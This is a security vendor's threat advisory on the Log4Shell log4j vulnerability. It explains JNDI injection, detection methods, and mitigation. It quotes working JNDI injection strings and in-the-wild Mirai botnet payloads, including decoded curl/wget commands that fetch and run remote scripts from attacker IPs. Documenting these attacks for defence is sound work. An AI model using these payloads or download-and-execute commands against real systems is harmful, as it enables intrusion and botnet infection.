Log4Shell: Critical log4j Vulnerability

0
12348

On December 9, the Apache Foundation released log4j version 2.15.0 as an emergency update for a critical vulnerability in the log4j2 library. The vulnerability could allow a remote attacker to execute arbitrary code on a system with software using the log4j2 Java library to log information and messages.

Many software and online services based on Java leverage the log4j open source logging utility, experts estimate the vulnerability to affect millions of applications. It is important to note that not all software using Java is vulnerable. Moreover, not all software using log4j is vulnerable, only software enabling and leveraging log4j message lookup substitution. From log4j 2.15.0, message lookup substitution is disabled by default.

The vulnerability was initially reported through Minecraft gaming sites. The sites were warning that threat actors could execute malicious code on servers and clients running the Java version of Minecraft by manipulating log messages via well-crafted chat messages. The security community quickly realized that the root cause was deeper and it had a far wider impact than just Minecraft. On December 9, the vulnerability started tacking as CVE-2021-44228 and coined as Log4Shell.

Later on December 9th, security firm Cyber Kendra reported a Log4j RCE zero day being dropped on the internet. While the log4j vulnerability was a new discovery, exploiting Java deserialization and Java Naming and Directory Interface (JNDI) injection through marshaling exploits was not. Given a good amount of documentation and tools to perform JNDI injection attacks lingering on the internet, it did not take long before in-the-wild scanning and exploit activity was detected.

Radware web application security solutions – AppWall and Cloud WAF Service – detect and block Log4Shell activity from day one as Server Side Request Forgeries. Between December 9, 6pm UTC and December 12, 12pm UTC, several thousands of attempts were detected.

Figure 1: Cloud WAF Blocked Exploits (per hour)

Background

The Log4Shell vulnerability is a JNDI injection exploit. The JNDI API provides discovery and lookup of resources by name and returns the result in the form of serialized Java objects. JNDI provides a Service Provider Interface (SPI) for flexible implementation of the backend naming and directory service protocols. To select the service provider, JNDI follows a URI format allowing provider and name to be specified during the request.

Figure 2: JNDI API and Service Provider Interface (SPI) [source: Oracle]

When message lookup substitution is enabled, Log4j can be instructed to perform a JNDI lookup by an attacker who can control log messages or log message parameters. Both LDAP and RMI JNDI service implementations return a serialized Java object that can lead to a Java deserialization attack. There is also a JNDI reference mechanism that allows the indirect construction of Java objects through factories such as Apache XBean BeanFactory.

JNDI injection attacks are nothing new and while RMI had support for remote codebases disabled since Java 8u121 by defaulting com.sun.jndi.rmi.object.trustURLCodebase to false. LDAP remote codebase was still allowed until JDK versions 6u211, 7u201, 8u191, and 11.0.1. In these more recent versions, the com.sun.jndi.ldap.object.trustURLCodebase is set to false by default to prevent JNDI from loading remote code through LDAP. JNDI lookups can also be disabled in log4j releases 2.1.0 and later by setting the system property log4j2.formatMsgNoLookups to true.

Exploiting Log4Shell

Exploiting the Remote Command Execution (RCE) is not as seamless compared to many known RCE that allow shell code to be injected directly into HTTP requests. An attacker will need to trigger log4j to query a remote service, which in turn will need to return the location of a malicious Java object that will result in command execution upon deserialization.

Imagine a web application using log4j to log submitted requests and header fields. An attacker could leverage the web application and log4j vulnerability to perform a JNDI injection attack. In step (1) in Figure 3, an attacker forges an HTTP GET request with encoded JNDI LDAP ‘${jndi:ldap://attacker.org:389/exploit}’ as a query parameter ‘q’, as ‘user-agent’ and as ‘referer’ HTTP header fields. The most apparent candidates for logging in web applications are URL encoded parameters, HTTP header fields and form fields. Form fields are application and page dependent, which means that random scan and exploit activity will mostly be leveraging generic HTTP parameters and frequently logged header fields such as ‘User-Agent’ and ‘Referer’.

In (2), the web server passes the parameters and header variables to the application. In (3), the application uses for example the log4j info() call to log, for example, the User-Agent header field. Log4j receives the message and evaluates the JNDI expression ‘jndi:ldap://attacker.org:389/exploit’ resulting in a LDAP query for ‘dn=exploit’ to server ‘attacker.org’ in step (4).

Figure 3: Remote command exection attack leveraging Log4Shell vulnerability [source: Radware]

The LDAP server, owned by the attacker, on host ‘attacker.org’, will receive the request and in step (5) responds with the object location that contains the result of the lookup. In (6) log4j requests the remote object from the web service on attacker.org, which responds in step (7) with a serialized Java object payload. The payload leverages a Java object deserialization vulnerability which in step (9) will result in the execution of the remote command in user context of the web application.

Exploit Tools Readily Available

To weaponize the Log4Shell vulnerability, an attacker needs to craft a request to an application that uses a vulnerably log4j release for logging and needs an LDAP server as well as a web service that can generate payloads that result in a Java object deserialization exploit. Unfortunately, deserialization exploits and JNDI injection are not new and several public exploit frameworks are available.

JNDIExploit, published by Feihong on Github 13 months ago, must be one of the easiest to leverage exploit tools available. It provides support for LDAP injection, has a large variety of different payload types including, but not limited to, ‘command’, ‘base64_encoded_command’ and ‘ReverseShell’. The Github repository provides instructions and a Java binary (jar) that is able to serve LDAP requests, provides an HTTP server to serve the malicious Java object, as well as the payloads leveraging marshaling exploits documented by Moritz Bechler in his paper ‘Java Unmarshaller Security – Turning your data into code execution.’

Figure 4: JNDIExploit Supported LDAP Queries [source: github]

Testing and Scanning For Vulnerable Services and Applications

One way to test if an application is vulnerable to JNDI injection through log4j is by leveraging the DNS JNDI service provider. Injecting a message with ‘${jndi:dns:<hostname>} would result in a DNS request originating from the application server to resolve <hostname>. To detect hostname resolution you can either use your own server if you own the authoritative server for the domain or leverage a service such as DNSlog.cn. DNSlog.cn allows anyone to get a random subdomain under ‘dbslog.cn’. The website allows you to monitor any resolution requests for the random subdomain you generated.

Testing through hostname resolution also works for LDAP, RMI or any of JNDI Service Providers that are available and enabled in log4j:

${jndi:ldap://<token>.dnslog.cn}
${jndi:rmi://<token>.dnslog.cn}

A similar, more flexible service, is provided by Thinkst Canary through Canarytokens.com. Canarytokens allows you to set a tripwire token and the service will notify you through email or a webhook whenever someone trips on your wire (token). Canarytokens.com provides tokens for alerting whenever a URL is visited or a hostname is resolved. You can also generate Canarytokens to get alerts whenever a Word, Excel or PDF document was opened.

Another option we observed in the attack events is the use of the Burp Collaborator service. Burp Suite is a well known suite of web application security testing tools and one of the most widely used web aplpication vulnerability scanner. The Burp Collaborator service allows detection of DNS lookups, HTTP and HTTPS urls and SMTP/SMTPS for emails.

In Radware’s Cloud WAF Service, we observed, for example, a blocked exploit attempt that contained several exploits in different potentially vulnerable fields and parameters, each tagged with their own token to trigger the corresponding events whenever a vulnerable application is discovered.

Referer:  http://${jndi:ldap://Referer.x.y.<token>.burpcollaborator.net/a.bc}/ref
User-Agent: Mozila/… root@${jndi:ldap://User-Agent.x.y.<token>.burpcollaborator.net/a.bc}

Another, more intrusive way, of testing if an application or service is vulnerable is by perfoming the exploit and running a remote command. Some of the observed attacks in our Cloud WAF service leverage the aforementioned JNDIExploit tool in combination with Burp Collaborator:

${jndi:ldap://xx.xx.xx.xx:1389/Basic/Command/Base64/Y3VybCBodH…Rvci5uZXQv}

With the Base64 decoded command:

curl http://x.y.<token>.burpcollaborator.net/

Malicious Activity

Below is an exploit used by a Mirai-based DDoS botnet in an attempt to infect vulnerable hosts and leverage them for DDoS attacks.

${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}

With Base64 decoded command:

wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh

Contents of lh.sh shell script:

wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86;
wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;

Bot Binaries

DDoS Attack Vectors

  • attack_ack
  • attack_stomp
  • attack_syn
  • attack_greip
  • attack_udp

Command and Control DNS Host

  • nazi.uy

Command and Control Server and TCP Port

  • 195.133.40.15:25565

Below are two exploit examples that were also detected and reported by other researchers:

${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNzIuMTA1LjI1NC42MTo4MDgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE3Mi4xMDUuMjU0LjYxOjgwODApfGJhc2g==}

Base64 decoded command:

(curl -s 45.155.205.233:5874/172.105.254.61:8080||wget -q -O- 45.155.205.233:5874/172.105.254.61:8080)|bash

And

${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNzIuMTA1LjI1NC42MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNzIuMTA1LjI1NC42MTo4MCl8YmFzaA==}

With Base64 decoded command:

(curl -s 45.155.205.233:5874/172.105.254.61:80||wget -q -O- 45.155.205.233:5874/172.105.254.61:80)|bash

Reason For Concern

Apache Foundation’s log4j is a widely used Java library leveraged by many web application frameworks, web applications, Java applications and online services. Millions of applications and services might be impacted by the Log4Shell vulnerability.

While the log4j vulnerability is easy to exploit, performing remote command execution is a more involved process and harder to achieve. Unfortunately, JNDI injection and Java deserialization exploits have been available in the public way before the log4j vulnerability was discovered and this has lead to readily available, working tools that could be leveraged by malicious actors to remotely execute commands.

For now we have only observed DDoS botnets, but crypto-locking and crypto-mining malware can be just as easily delivered through these exploits.

Mitigation

Radware web application security solutions, Radware AppWall and Cloud WAF Services, detected and blocked Log4Shell exploit attacks through web application parameters and HTTP header fields, from day one, as Server Side Request Forgeries.

Radware product guidance for protecting against log4j CVE-2021-44228 exploits and Radware product impact information is tracked through this Security Advisory.

patching log4j

  1. Updating to the latest release of log4j is most obvious, but not always possible. Applications and development frameworks such as Apache Struts2, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Apache Kafka and many others need to be updated by the community or the vendor.
  2. In version 2.10.0 of log4j the ‘formatMsgNoLookups’ was added. Setting ‘formatMsgNoLookups=true’ is a good solution for versions between 2.10.0 and 2.15.0. Starting version 2.15.0, the default value of formatMsgNoLookups is set to true.

Effective Web Application Security Essentials

  • Full OWASP Top-10 coverage against defacements, injections, etc.
  • Low false positive rate using negative and positive security models for maximum accuracy
  • Auto-policy generation capabilities for the widest coverage with the lowest operational effort
  • Bot protection and device fingerprinting capabilities to overcome dynamic IP attacks and achieving improved bot detection and blocking
  • Securing APIs by filtering paths, understanding XML and JSON schemas for enforcement, and activity tracking mechanisms to trace bots and guard internal resources
  • Flexible deployment options – on-premise, out-of-path, virtual or cloud-based

[Like this post? Subscribe now to get the latest Radware content in your inbox weekly plus exclusive access to Radware’s Premium Content.]

Previous articleRadware Threat Researchers Live: Ep.16
Next articleFive Benefits of Integrating Bot Management with Your CDN
As the Director, Threat Intelligence for Radware, Pascal helps execute the company's thought leadership on today’s security threat landscape. Pascal brings over two decades of experience in many aspects of Information Technology and holds a degree in Civil Engineering from the Free University of Brussels. As part of the Radware Security Research team Pascal develops and maintains the IoT honeypots and actively researches IoT malware. Pascal discovered and reported on BrickerBot, did extensive research on Hajime and follows closely new developments of threats in the IoT space and the applications of AI in cyber security and hacking. Prior to Radware, Pascal was a consulting engineer for Juniper working with the largest EMEA cloud and service providers on their SDN/NFV and data center automation strategies. As an independent consultant, Pascal got skilled in several programming languages and designed industrial sensor networks, automated and developed PLC systems, and lead security infrastructure and software auditing projects. At the start of his career, he was a support engineer for IBM's Parallel System Support Program on AIX and a regular teacher and presenter at global IBM conferences on the topics of AIX kernel development and Perl scripting.

LEAVE A REPLY

Please enter your comment!
Please enter your name here